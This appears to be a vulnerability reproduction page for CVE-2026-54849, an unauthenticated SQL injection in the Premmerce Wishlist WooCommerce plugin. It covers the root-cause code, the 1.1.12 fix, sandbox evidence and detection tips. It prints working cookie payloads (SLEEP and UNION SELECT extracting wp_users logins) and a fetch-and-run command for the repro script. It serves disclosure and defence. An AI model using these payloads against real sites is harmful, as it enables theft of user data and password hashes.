CVE-2026-54849: Verified Reproduction
CVE-2026-54849: Premmerce Wishlist for WooCommerce unauthenticated SQL injection
CVE-2026-54849 is verified against the affected target. Vulnerability class: SQLi. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00251.
What Is CVE-2026-54849?
CVE-2026-54849 is a critical, unauthenticated SQL injection vulnerability (CWE-89) in the Premmerce Wishlist for WooCommerce WordPress plugin, versions <= 1.1.11. Pruva reproduced it (reproduction REPRO-2026-00251).
CVE-2026-54849 Severity & CVSS Score
CVE-2026-54849 is rated critical severity, with a CVSS base score of 9.3 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
How to Reproduce CVE-2026-54849
pruva-verify REPRO-2026-00251 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00251/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-54849
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
premmerce_wishlist cookie (JSON array of wishlist keys) containing an embedded SQL injection payload (e.g. x") UNION SELECT ...)
- Unauthenticated HTTP GET to /?rest_route=/premmerce/wishlist/add/popup (permission_callback __return_true) with crafted premmerce_wishlist cookie
- RestApi::wishlistAddPopupRest
- getWishlistsAll()
- WishlistModel::getWishlistsByKeys(WishlistStorage::cookieGet())
- SQL built by string concatenation of cookie keys into IN ("...")
How the agent worked
Root Cause and Exploit Chain for CVE-2026-54849
Unauthenticated SQL injection exists in the Premmerce Wishlist for WooCommerce
WordPress plugin (versions <= 1.1.11). The plugin persists a visitor's wishlist
"keys" in a browser cookie named premmerce_wishlist (a JSON array). On every
unauthenticated request to the wishlist functionality, the plugin reads that
cookie, decodes it, and feeds the attacker-controlled keys directly into a SQL
IN (...) query built by string concatenation (implode('", "', $keys)).
Because the keys are never validated or escaped before being interpolated, an
unauthenticated attacker can break out of the double-quoted literal and inject
arbitrary SQL. The injection is reachable through an unauthenticated REST API
endpoint (/?rest_route=/premmerce/wishlist/add/popup, registered with
permission_callback => __return_true), so no WordPress login is required.
- Package/component affected:
premmerce-woocommerce-wishlist(Premmerce Wishlist for WooCommerce). Vulnerable component:src/WishlistStorage.php::cookieGet()+src/Models/WishlistModel.php::getWishlistsByKeys()/getDefaultWishlistByKeys(). - Affected versions:
<= 1.1.11. Patched in1.1.12(changelog: "Security: SQL injection fix in wishlist cookie handling"). - Risk level: Critical (Patchstack CVSS 9.3, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L).
- Consequences: An unauthenticated remote attacker can interact with the
WordPress database via SQL injection — e.g. exfiltrate data from any table
(demonstrated below by extracting the admin
user_loginfromwp_usersvia aUNION SELECT) and perform time-based blind inference. This can lead to full disclosure of the WordPress database (users, password hashes, sessions, etc.).
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated SQL injection allowing interaction with the database, including data extraction (CVSS 9.3, C:H).
- Reproduced impact from this run: Unauthenticated SQL injection proven on the
real product through two independent techniques:
- Time-based blind SQLi — a
SLEEP(5)payload delayed the unauthenticated REST response by ~5.2–6.1s on the vulnerable build (vs ~0.1s on the fixed build). - UNION-based data extraction — a
UNION SELECTpayload leaked the WordPress adminuser_login(sqliadmin) into the unauthenticated REST response body on the vulnerable build (1 occurrence in the response), with no leak on the fixed build.
- Time-based blind SQLi — a
- Parity:
full. The claimed unauthenticated SQL injection (data extraction) was reproduced end-to-end against the real product on the claimedapi_remotesurface. - Not demonstrated: This proof stops at database read/extraction (consistent with the disclosed C:H impact). It does not demonstrate writing to the database or code execution, which are not claimed by the advisory.
Root Cause
The cookie value is trusted all the way into the SQL query without validation or parameterization.
Vulnerable src/WishlistStorage.php::cookieGet() (1.1.11):
public function cookieGet()
{
if ($this->cookieIsSet()) {
$data = json_decode(stripslashes($_COOKIE[self::COOKIE_NAME]));
return $data ? $data : array(); // <-- no validation of $data entries
}
return array();
}
(COOKIE_NAME = 'premmerce_wishlist'. stripslashes undoes the addslashes that
WordPress applies to $_COOKIE via wp_magic_quotes() on every request, so
json_decode effectively receives the raw, URL-decoded cookie value unchanged.)
Vulnerable src/Models/WishlistModel.php::getWishlistsByKeys() (1.1.11):
public function getWishlistsByKeys($keys)
{
if ($keys && is_array($keys)) {
$sql = vsprintf(
"SELECT * FROM `%s` WHERE `wishlist_key` IN (%s);",
array(
$this->tblWishlist,
'"' . implode('", "', $keys) . '"' // <-- direct concatenation
)
);
return $this->getWishlistsBySql($sql);
}
}
The attacker-controlled $keys are placed inside the IN ("...") list with only a
double-quote wrapper. A key containing x") UNION SELECT ... closes the quote and
injects SQL. The same concatenation pattern exists in getDefaultWishlistByKeys(),
setUserToWishlistsByKeys(), deleteWishlists(), getWishlistsByProductId(), and
the where_in branch of getWishlists().
Reachability (unauthenticated): src/RestApi/RestApi.php registers
register_rest_route('premmerce/wishlist', '/add/popup', ... 'permission_callback' => '__return_true').
Its callback wishlistAddPopupRest() → wishlistAddPopup() → getWishlistsAll():
public function getWishlistsAll() {
if (is_user_logged_in()) { ... }
else { if ($this->storage->cookieIsSet()) {
$wishlistAll = $this->model->getWishlistsByKeys($this->storage->cookieGet()); // <-- SQLi
} }
return $wishlistAll;
}
So an unauthenticated visitor supplying a crafted premmerce_wishlist cookie reaches
the vulnerable query. (WooCommerce must be active for the plugin's REST/frontend to
register, via WishlistPlugin::run() / validateRequiredPlugins().)
Fix (1.1.12): cookieGet() now validates each key with
preg_match('/^[a-zA-Z0-9]{1,13}$/', $key) (rejecting anything containing quotes,
spaces, SQL metacharacters) and the SQL builders were converted to $wpdb->prepare()
with %s placeholders and an allowed_columns allow-list for where_in. The fix
diff (src/WishlistStorage.php + src/Models/WishlistModel.php) is the authoritative
patch.
Injected SQL (this reproduction)
The crafted cookie URL-decodes to the JSON value
["x\") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- "] (the embedded " is JSON-escaped
as \"). After json_decode, the key is x") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- ,
which is concatenated into:
SELECT * FROM `wp_premmerce_wishlist` WHERE `wishlist_key` IN ("x") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- ");
The wp_premmerce_wishlist table has 8 columns (ID, user_id, name, wishlist_key, products, date_created, date_modified, default), so the UNION SELECT supplies 8
columns. The data-extraction variant
["x\") UNION SELECT 1,2,user_login,4,5,6,7,8 FROM wp_users-- "] places
wp_users.user_login into the name column, which the wishlist popup template
renders — leaking the admin username into the unauthenticated response.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained; run twice, both pass with exit 0). - What it does:
- Deploys a real stack in Docker:
mariadb:11.4+wordpress:6.7.2-php8.2-apache, installs WordPress (adminsqliadmin), activates WooCommerce 8.9.3, and installs+activates Premmerce Wishlist 1.1.11 (vulnerable) from the local zip. - Sends an unauthenticated HTTP GET (from a separate client container on the
Docker network, hitting the WordPress service by container name) to
/?rest_route=/premmerce/wishlist/add/popupwith the craftedpremmerce_wishlistcookie. Two techniques, two attempts each:- SLEEP payload — measures response time (expect ~5s on vulnerable).
- UNION payload — greps the response body for the admin
user_login(expect a leak on vulnerable).
- Swaps to the fixed 1.1.12 build and repeats the same two techniques as a negative control (expect no sleep, no leak).
- Writes
bundle/repro/runtime_manifest.jsonand exits 0 only if all four criteria hold (vuln sleeps + leaks; fixed does neither).
- Deploys a real stack in Docker:
- Expected evidence of reproduction:
- Vulnerable
SLEEPresponse times ≈ 5.2–6.1s; fixed ≈ 0.07–0.13s. - Vulnerable
UNIONresponse bodies containsqliadmin; fixed bodies do not. bundle/repro/runtime_manifest.jsonwithconfirmation_status: "confirmed".
- Vulnerable
Evidence
- Main log:
bundle/logs/reproduction_steps.log(full script output, both runs). - Runtime manifest:
bundle/repro/runtime_manifest.json(valid JSON). - Response bodies:
bundle/repro/artifacts/vuln_sleep_{1,2}.body,vuln_union_{1,2}.body,fixed_sleep_{1,2}.body,fixed_union_{1,2}.body. - Plugin source (vulnerable + fixed, for diff):
bundle/artifacts/premmerce-1.1.11.zip,bundle/artifacts/premmerce-1.1.12.zip.
Key excerpt — UNION data extraction on vulnerable 1.1.11 (admin username leaked into the unauthenticated REST response, inside the wishlist-name span):
$ grep -o '.\{0,40\}sqliadmin.\{0,40\}' bundle/repro/artifacts/vuln_union_1.body
x-title\">\\n sqliadmin <\/span>
$ grep -c sqliadmin bundle/repro/artifacts/vuln_union_1.body -> 1
$ grep -c sqliadmin bundle/repro/artifacts/fixed_union_1.body -> 0
Key excerpt — time-based blind SQLi divergence (from runtime_manifest.json):
vulnerable_sleep_seconds: [5.197395, 6.098308] # SLEEP(5) fired
fixed_sleep_seconds: [0.121983, 0.076013] # no sleep (regex filtered the key)
vulnerable_union_leak_counts: [1, 1] # admin user_login leaked
fixed_union_leak_counts: [0, 0] # no leak
Environment: Docker mariadb:11.4 + wordpress:6.7.2-php8.2-apache (PHP 8.2.28),
WooCommerce 8.9.3, Premmerce Wishlist 1.1.11 (vulnerable) / 1.1.12 (fixed),
WordPress table prefix wp_, admin sqliadmin. The unauthenticated HTTP requests
are issued by a separate container on the Docker bridge network to the WordPress
service by container name (http://premmerce-wp/...); response bodies are retrieved
via docker create + docker cp (host bind-mounts and published ports are not
visible from this shell because the Docker daemon runs in a separate namespace).
Recommendations / Next Steps
- Upgrade Premmerce Wishlist for WooCommerce to >= 1.1.12 immediately.
- Long-term: the plugin should use
$wpdb->prepare()with placeholders for all dynamic SQL (several other builders inWishlistModel.phpwere also concatenating user-influenced values and were patched in 1.1.12) and treat cookie data as untrusted, validating structure/types before use. - Testing: add automated tests that feed malicious cookie values
(quotes, UNION, SLEEP, semicolons) and assert no SQL injection / no error / no
data leak. Consider enabling a WAF rule for the
premmerce_wishlistcookie. - Detection: review access logs for
premmerce_wishlistcookie values containingUNION,SLEEP,--,", or)as indicators of attempted exploitation.
Additional Notes
- Idempotency: the script tears down and rebuilds the whole stack on every run,
so it can be executed repeatedly with deterministic results. Verified by two
consecutive runs (both exit 0, both
confirmed). - Surface match: the claimed surface is
api_remote(unauthenticated HTTP request to the plugin endpoint); the proof uses a real unauthenticated HTTP request to the plugin's REST endpoint —validated_surface = api_remote. - Scope/impact: this is a data-extraction SQL injection (read). The proof does not demonstrate DB writes or RCE, which are outside the disclosed impact.
- Sanitizer: no sanitizer is used; the proof is a plain non-sanitized product run (real Apache + WordPress + MariaDB), and the oracle is response timing + response content, not ASAN/UBSAN.
CVE-2026-54849 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-54849
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-54849
FAQ: CVE-2026-54849
How does the CVE-2026-54849 SQL injection attack work?
How severe is CVE-2026-54849?
How can I reproduce CVE-2026-54849?
Does exploiting CVE-2026-54849 require authentication?
References for CVE-2026-54849
Authoritative sources for CVE-2026-54849 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.